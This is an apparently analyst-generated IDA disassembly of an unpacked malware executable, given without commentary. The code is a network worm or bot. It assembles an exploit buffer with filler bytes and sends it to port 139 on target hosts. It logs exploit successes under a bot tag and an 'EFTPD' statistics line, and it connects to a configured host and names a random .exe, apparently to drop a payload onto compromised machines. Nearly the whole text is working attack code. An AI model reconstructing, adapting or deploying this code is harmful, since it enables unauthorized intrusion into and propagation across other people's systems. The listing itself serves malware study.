;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 2B011E15BA06663BD6A4E3A112459125
; File Name : u:\work\2b011e15ba06663bd6a4e3a112459125_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0027A000 (2596864.)
; Section size in file : 0027A000 (2596864.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
?9 segment para public 'CODE' use32
assume cs:?9
;org 401000h
assume es:nothing, ss:nothing, ds:?9, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
sub_401000 proc near ; CODE XREF: sub_40126C+Ep
; sub_40126C+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_40100A proc near ; CODE XREF: sub_40126C+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_4296E8
mov edi, eax
pop ecx
test edi, edi
jz short loc_40103C
push ebx
push 0
push edi
call sub_429690
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_429350
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40103C: ; CODE XREF: sub_40100A+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40100A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401044 proc near ; CODE XREF: sub_401136+18p
; sub_4011B0+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
mov ecx, [ebp+arg_C]
push esi
push edi
lea edi, [eax+ecx]
push edi
call sub_4296E8
mov esi, eax
pop ecx
test esi, esi
jz short loc_401090
push edi
push 0
push esi
call sub_429690
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_429350
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_429350
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_401090: ; CODE XREF: sub_401044+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_401044 endp
; =============== S U B R O U T I N E =======================================
sub_401099 proc near ; CODE XREF: sub_401136+5Ep
; sub_401136+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4010A9
push eax
call sub_429822
pop ecx
loc_4010A9: ; CODE XREF: sub_401099+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_401099 endp
; =============== S U B R O U T I N E =======================================
sub_4010B2 proc near ; CODE XREF: sub_401136+20p
; sub_401211+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_4010DC
xor ebx, ebx
cmp eax, 7Fh
setnl bl
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax
call sub_4296E8
mov edi, eax
pop ecx
test edi, edi
jnz short loc_4010E0
loc_4010DC: ; CODE XREF: sub_4010B2+Dj
xor al, al
jmp short loc_401132
; ---------------------------------------------------------------------------
loc_4010E0: ; CODE XREF: sub_4010B2+28j
mov eax, [esi+4]
add eax, ebx
push eax
push 0
push edi
call sub_429690
add esp, 0Ch
cmp ebx, 1
jnz short loc_401100
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_401115
; ---------------------------------------------------------------------------
loc_401100: ; CODE XREF: sub_4010B2+42j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_401115: ; CODE XREF: sub_4010B2+4Cj
push dword ptr [esi+4]
push dword ptr [esi]
push eax
call sub_429350
add esp, 0Ch
push dword ptr [esi]
call sub_429822
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_401132: ; CODE XREF: sub_4010B2+2Cj
pop edi
pop esi
pop ebx
retn
sub_4010B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401136 proc near ; CODE XREF: sub_40126C+89p
; sub_40126C+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset word_454018
call sub_401044
lea ecx, [ebp+var_8]
call sub_4010B2
mov eax, [ebp+var_4]
inc eax
push eax
call sub_4296E8
mov edi, eax
pop ecx
test edi, edi
jnz short loc_401170
xor al, al
jmp short loc_4011AC
; ---------------------------------------------------------------------------
loc_401170: ; CODE XREF: sub_401136+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_429690
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_429350
add esp, 18h
mov ecx, esi
call sub_401099
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_401099
mov al, 1
loc_4011AC: ; CODE XREF: sub_401136+38j
pop edi
pop esi
leave
retn
sub_401136 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4011B0 proc near ; CODE XREF: sub_4011E4+14p
; sub_401201+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_401044
mov ecx, esi
call sub_401099
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_4011B0 endp
; =============== S U B R O U T I N E =======================================
sub_4011E4 proc near ; CODE XREF: sub_40126C+F0p
; sub_40126C+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_4292D0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_4011B0
pop esi
retn 4
sub_4011E4 endp
; =============== S U B R O U T I N E =======================================
sub_401201 proc near ; CODE XREF: sub_40124D+Bp
; sub_40126C+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4011B0
retn 8
sub_401201 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401211 proc near ; CODE XREF: sub_40124D+16p
; sub_40126C+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_4010B2
test al, al
jz short loc_40124A
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_43A2F8
call sub_401044
mov ecx, esi
call sub_401099
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40124A: ; CODE XREF: sub_401211+Fj
pop esi
leave
retn
sub_401211 endp
; =============== S U B R O U T I N E =======================================
sub_40124D proc near ; CODE XREF: sub_40126C+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_401201
test al, al
jz short loc_401268
mov ecx, esi
call sub_401211
loc_401268: ; CODE XREF: sub_40124D+12j
pop esi
retn 8
sub_40124D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40126C proc near ; CODE XREF: ?9:00401821p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_401000
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_4015B0
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_4015B0
push esi
lea ecx, [ebp+var_30]
call sub_401000
lea ecx, [ebp+var_20]
call sub_401000
lea ecx, [ebp+var_50]
call sub_401000
lea ecx, [ebp+var_18]
call sub_401000
lea ecx, [ebp+var_40]
call sub_401000
lea ecx, [ebp+var_38]
call sub_401000
lea ecx, [ebp+var_28]
call sub_401000
push 4
push offset dword_43A05C
lea ecx, [ebp+var_30]
call sub_4011B0
push 3
push offset dword_43A064
lea ecx, [ebp+var_30]
call sub_4011B0
lea ecx, [ebp+var_30]
call sub_401136
lea ecx, [ebp+var_30]
call sub_401211
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_429690
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset byte_43A050
call sub_4011B0
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_4011B0
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_4011B0
lea ecx, [ebp+var_20]
call sub_401136
push offset loc_43A320
lea ecx, [ebp+var_50]
call sub_4011E4
lea ecx, [ebp+var_50]
call sub_401136
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40100A
lea ecx, [ebp+var_58]
call sub_401136
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40124D
lea ecx, [ebp+var_58]
call sub_401099
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_429690
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_4011E4
push 4
push offset dword_43A068
lea ecx, [ebp+var_18]
call sub_4011B0
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_4011B0
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_4011B0
lea ecx, [ebp+var_18]
call sub_401136
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_401201
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_401201
lea ecx, [ebp+var_40]
call sub_401211
lea ecx, [ebp+var_18]
call sub_401099
lea ecx, [ebp+var_50]
call sub_401099
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_401201
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_401201
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_401201
lea ecx, [ebp+var_38]
call sub_401211
lea ecx, [ebp+var_20]
call sub_401099
lea ecx, [ebp+var_30]
call sub_401099
lea ecx, [ebp+var_40]
call sub_401099
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_4011B0
lea ecx, [ebp+var_28]
call sub_401136
push 2
push offset dword_43A314
lea ecx, [ebp+var_28]
call sub_4011B0
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_401201
lea ecx, [ebp+var_28]
call sub_401211
lea ecx, [ebp+var_38]
call sub_401099
lea ecx, [ebp+var_10]
call sub_401000
lea ecx, [ebp+var_8]
call sub_401000
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_401201
lea ecx, [ebp+var_10]
call sub_4010B2
lea ecx, [ebp+var_28]
call sub_401099
push offset dword_43A310
lea ecx, [ebp+var_8]
call sub_4011E4
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_401201
lea ecx, [ebp+var_8]
call sub_4010B2
lea ecx, [ebp+var_10]
call sub_401099
push offset dword_43A30C
lea ecx, [ebp+var_10]
call sub_4011E4
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_401201
lea ecx, [ebp+var_10]
call sub_4010B2
lea ecx, [ebp+var_8]
call sub_401099
push offset dword_43A300
lea ecx, [ebp+var_8]
call sub_4011E4
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_401201
lea ecx, [ebp+var_8]
call sub_4010B2
lea ecx, [ebp+var_10]
call sub_401099
push offset dword_43A2FC
lea ecx, [ebp+var_48]
call sub_4011E4
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_401201
lea ecx, [ebp+var_8]
call sub_401099
pop esi
loc_4015B0: ; CODE XREF: sub_40126C+1Bj
; sub_40126C+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop edi
pop ebx
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
leave
retn
sub_40126C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4015C2 proc near ; CODE XREF: sub_401687+A2p
; sub_401687+C7p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
push edi
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
xor edi, edi
push eax
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_456EFC ; select
cmp eax, edi
jnz short loc_40162A
lea eax, [ebp+var_10C]
push eax
push esi
call dword_456DB8 ; __WSAFDIsSet
test eax, eax
jnz short loc_40162E
loc_40162A: ; CODE XREF: sub_4015C2+54j
xor eax, eax
jmp short loc_40163E
; ---------------------------------------------------------------------------
loc_40162E: ; CODE XREF: sub_4015C2+66j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_456F38 ; recv
loc_40163E: ; CODE XREF: sub_4015C2+6Aj
pop edi
pop esi
leave
retn
sub_4015C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401642 proc near ; CODE XREF: sub_401687+80p
; sub_401687+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_456F14 ; ntohl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_456F6C ; send
cmp eax, 4
jz short loc_40166C
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40166C: ; CODE XREF: sub_401642+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_456F6C ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_401642 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401687 proc near ; CODE XREF: sub_401766+48p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_4296E8
mov esi, eax
pop ecx
test esi, esi
jnz short loc_4016B0
xor al, al
jmp loc_401761
; ---------------------------------------------------------------------------
loc_4016B0: ; CODE XREF: sub_401687+20j
push ebx
push 0
push esi
call sub_429690
push 2Fh
push offset dword_43A0F8
push esi
call sub_429350
push 8
lea eax, [esi+31h]
push offset dword_43A128
push eax
mov [esi+2Fh], di
call sub_429350
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_429350
push 6
add ebx, edi
push offset dword_454010
push ebx
call sub_429350
push 85h
push offset dword_43A070
push [ebp+arg_0]
call sub_401642
add esp, 48h
test al, al
jnz short loc_401717
loc_401713: ; CODE XREF: sub_401687+B8j
xor bl, bl
jmp short loc_401758
; ---------------------------------------------------------------------------
loc_401717: ; CODE XREF: sub_401687+8Aj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_4015C2
push [ebp+var_4]
push esi
push [ebp+arg_0]
call sub_401642
add esp, 1Ch
test al, al
jz short loc_401713
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_4015C2
add esp, 10h
mov bl, 1
loc_401758: ; CODE XREF: sub_401687+8Ej
push esi
call sub_429822
pop ecx
mov al, bl
loc_401761: ; CODE XREF: sub_401687+24j
pop edi
pop esi
pop ebx
leave
retn
sub_401687 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401766 proc near ; CODE XREF: ?9:0040189Ap
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_43A138
push [ebp+arg_0]
call dword_456F6C ; send
cmp eax, 48h
jnz short loc_4017A1
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_4015C2
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_4017A1
cmp [ebp+var_20], 82h
jz short loc_4017A5
loc_4017A1: ; CODE XREF: sub_401766+1Bj
; sub_401766+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_4017A5: ; CODE XREF: sub_401766+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401687
add esp, 0Ch
leave
retn
sub_401766 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 41Ch
and byte ptr [ebp-41Ch], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Bh]
push 7
rep stosd
stosw
stosb
lea eax, [ebp-41Ch]
push offset dword_43A2F0
push eax
call sub_429350
push dword_43A184
lea eax, [ebp-41Ch]
push offset dword_43A8E8
push eax
call sub_429350
lea eax, [ebp-41Ch]
push 400h
push eax
push 164h
lea eax, [ebp-0Ch]
push offset sub_43A188
push eax
call sub_40126C
xor ebx, ebx
add esp, 2Ch
cmp [ebp-8], ebx
jnz short loc_401837
xor eax, eax
jmp loc_40198B
; ---------------------------------------------------------------------------
loc_401837: ; CODE XREF: ?9:0040182Ej
mov [ebp-4], ebx
loc_40183A: ; CODE XREF: ?9:004018C2j
test ebx, ebx
jnz loc_4018C8
push 6
push 1
push 2
call dword_456FB0 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4018B0
xor eax, eax
lea edi, [ebp-1Ah]
stosd
stosd
stosd
stosw
push 8Bh
mov word ptr [ebp-1Ch], 2
call dword_456F18 ; ntohs
mov [ebp-1Ah], ax
lea eax, [ebp+10h]
push eax
call dword_456F5C ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push esi
call dword_456E9C ; connect
cmp eax, 0FFFFFFFFh
jz short loc_4018A5
push dword ptr [ebp-8]
push dword ptr [ebp-0Ch]
push esi
call sub_401766
add esp, 0Ch
movzx ebx, al
loc_4018A5: ; CODE XREF: ?9:00401891j
push esi
call dword_456FD0 ; closesocket
test ebx, ebx
jnz short loc_4018BB
loc_4018B0: ; CODE XREF: ?9:00401853j
push 3E8h
call dword_43718C ; Sleep
loc_4018BB: ; CODE XREF: ?9:004018AEj
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 2
jl loc_40183A
loc_4018C8: ; CODE XREF: ?9:0040183Cj
lea ecx, [ebp-0Ch]
call sub_401099
test ebx, ebx
jz loc_40197E
movzx eax, word_443986
push eax
lea esi, [ebp+10h]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
rep movsd
call sub_401B6E
add esp, 0C8h
test eax, eax
jz short loc_40197E
mov edx, [ebp+0BCh]
xor ebx, ebx
mov eax, edx
mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
shl eax, 6
mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)"
lea ecx, dword_43A380[eax]
inc dword ptr [ecx]
cmp [ebp+0CCh], ebx
mov ecx, [ecx]
jz short loc_401952
cmp [ebp+0C4h], ebx
jnz short loc_40195A
push ecx
lea ecx, [ebp+10h]
lea eax, dword_43A357[eax]
push ecx
push eax
push edi
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_41CD84
mov edx, [ebp+0BCh]
add esp, 1Ch
loc_401952: ; CODE XREF: ?9:00401926j
cmp [ebp+0C4h], ebx
jz short loc_40197E
loc_40195A: ; CODE XREF: ?9:0040192Ej
shl edx, 6
lea eax, [ebp+10h]
push dword_43A380[edx]
push eax
lea eax, dword_43A357[edx]
push eax
push edi
push esi
push dword ptr [ebp+8]
push dword ptr [ebp+0Ch]
call sub_41CD0E
add esp, 1Ch
loc_40197E: ; CODE XREF: ?9:004018D2j ?9:004018FDj ...
lea eax, [ebp+10h]
push eax
call sub_401E8E
xor eax, eax
pop ecx
inc eax
loc_40198B: ; CODE XREF: ?9:00401832j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401990 proc near ; CODE XREF: sub_40A938+5DEEp
var_4E20 = byte ptr -4E20h
var_2710 = byte ptr -2710h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 4E20h
call sub_429A90
push ebx
push edi
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
lea eax, [ebp+var_2710]
push offset aSStats ; "%s (Stats):"
push eax
xor ebx, ebx
call sub_429A33
add esp, 0Ch
cmp dword_43A378, ebx
mov edi, 2710h
jz short loc_401A08
push esi
mov esi, offset dword_43A380
loc_4019CD: ; CODE XREF: sub_401990+75j
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-29h]
push eax
lea eax, [ebp+var_4E20]
push offset aSD_0 ; " (%s: %d),"
push eax
call sub_429A33
lea eax, [ebp+var_4E20]
push edi
push eax
lea eax, [ebp+var_2710]
push eax
call sub_429910
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_4019CD
pop esi
loc_401A08: ; CODE XREF: sub_401990+35j
push 0
push dword_457E38
call dword_437184 ; GetTickCount
push eax
call sub_41B932
push eax
push ebx
push dword_457CE8
lea eax, [ebp+var_4E20]
push offset aEftpdDTotalDIn ; " (EFTPD): (%d), Total -> (%d in %s)"
push eax
call sub_429A33
lea eax, [ebp+var_4E20]
push edi
push eax
lea eax, [ebp+var_2710]
push eax
call sub_429910
add esp, 2Ch
cmp ebx, [ebp+arg_10]
lea eax, [ebp+var_2710]
pop edi
pop ebx
push eax
push [ebp+arg_4]
push [ebp+arg_0]
jg short loc_401A66
cmp [ebp+arg_8], 0
jnz short loc_401A6D
loc_401A66: ; CODE XREF: sub_401990+CEj
call sub_41CD84
jmp short loc_401A72
; ---------------------------------------------------------------------------
loc_401A6D: ; CODE XREF: sub_401990+D4j
call sub_41CD0E
loc_401A72: ; CODE XREF: sub_401990+DBj
add esp, 0Ch
leave
retn
sub_401990 endp
; =============== S U B R O U T I N E =======================================
sub_401A77 proc near ; CODE XREF: sub_401B6E+1B4p
; sub_401B6E+1BAp ...
push esi
push edi
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
pop ecx
call sub_429ACC
push 1Ah
pop edi
cdq
mov ecx, edi
push 61h
idiv ecx
pop esi
add edx, esi
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
add edx, esi
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
add edx, esi
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
add edx, esi
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
add edx, esi
push edx
call sub_429ACC
cdq
idiv edi
add edx, esi
mov esi, offset dword_454744
push edx
push offset aCCCCCC ; "%c%c%c%c%c%c"
push esi
call sub_429A33
add esp, 20h
mov eax, esi
pop edi
pop esi
retn
sub_401A77 endp
; =============== S U B R O U T I N E =======================================
sub_401AF0 proc near ; CODE XREF: sub_401B6E+17Fp
; sub_401B6E+18Ap ...
push esi
push edi
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
pop ecx
call sub_429ACC
push 1Ah
pop edi
cdq
mov ecx, edi
push 61h
idiv ecx
pop esi
add edx, esi
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
add edx, esi
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
add edx, esi
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
add edx, esi
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
add edx, esi
push edx
call sub_429ACC
cdq
idiv edi
add edx, esi
mov esi, offset dword_454720
push edx
push offset dword_44399C
push offset aSCCCCC ; "%s%c%c%c%c%c"
push esi
call sub_429A33
add esp, 24h
mov eax, esi
pop edi
pop esi
retn
sub_401AF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B6E proc near ; CODE XREF: ?9:004018F0p
; sub_403B6C+139p ...
var_6B0 = byte ptr -6B0h
var_2B0 = byte ptr -2B0h
var_1B0 = byte ptr -1B0h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
sub esp, 6B0h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_429690
add esp, 0Ch
cmp dword_456D88, edi
push 2
pop ebx
jz short loc_401BFC
push 10h
lea eax, [ebp+var_20]
push edi
push eax
call sub_429690
add esp, 0Ch
mov [ebp+var_20], bx
push offset dword_456580
call dword_456F5C ; inet_addr
mov [ebp+var_1C], eax
mov ax, word ptr dword_456780
push eax
call dword_456F18 ; ntohs
push edi
push 1
push ebx
mov [ebp+var_1E], ax
call dword_456FB0 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_401E67
lea eax, [ebp+var_20]
push 10h
push eax
push esi
call dword_456E9C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_401BF5
mov dword_456D88, edi
loc_401BF5: ; CODE XREF: sub_401B6E+7Fj
push esi
call dword_4372D4
loc_401BFC: ; CODE XREF: sub_401B6E+26j
lea eax, [ebp+arg_0]
mov [ebp+var_10], bx
push eax
call dword_456F5C ; inet_addr
push [ebp+arg_C4]
mov [ebp+var_C], eax
call dword_456F18 ; ntohs
push edi
push 1
push ebx
mov [ebp+var_E], ax
call dword_456FB0 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [ebp+arg_C4], ebx
jz loc_401E67
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_456E9C ; connect
cmp eax, 0FFFFFFFFh
jz loc_401E67
push edi
lea eax, [ebp+var_6B0]
push 400h
push eax
push ebx
call dword_456F38 ; recv
call sub_429ACC
push 9
pop esi
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, esi
idiv ecx
push edx
call sub_429ACC
cdq
idiv esi
lea eax, [ebp+var_2B0]
push edx
push offset dword_44399C
push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
push eax
call sub_429A33
add esp, 20h
cmp dword_456D88, edi
jnz loc_401D6F
lea eax, [ebp+arg_0]
push eax
call sub_41E3FB
test eax, eax
pop ecx
mov [ebp+arg_C4], offset dword_457CD8
jnz short loc_401CE1
mov [ebp+arg_C4], offset dword_457C20
loc_401CE1: ; CODE XREF: sub_401B6E+167j
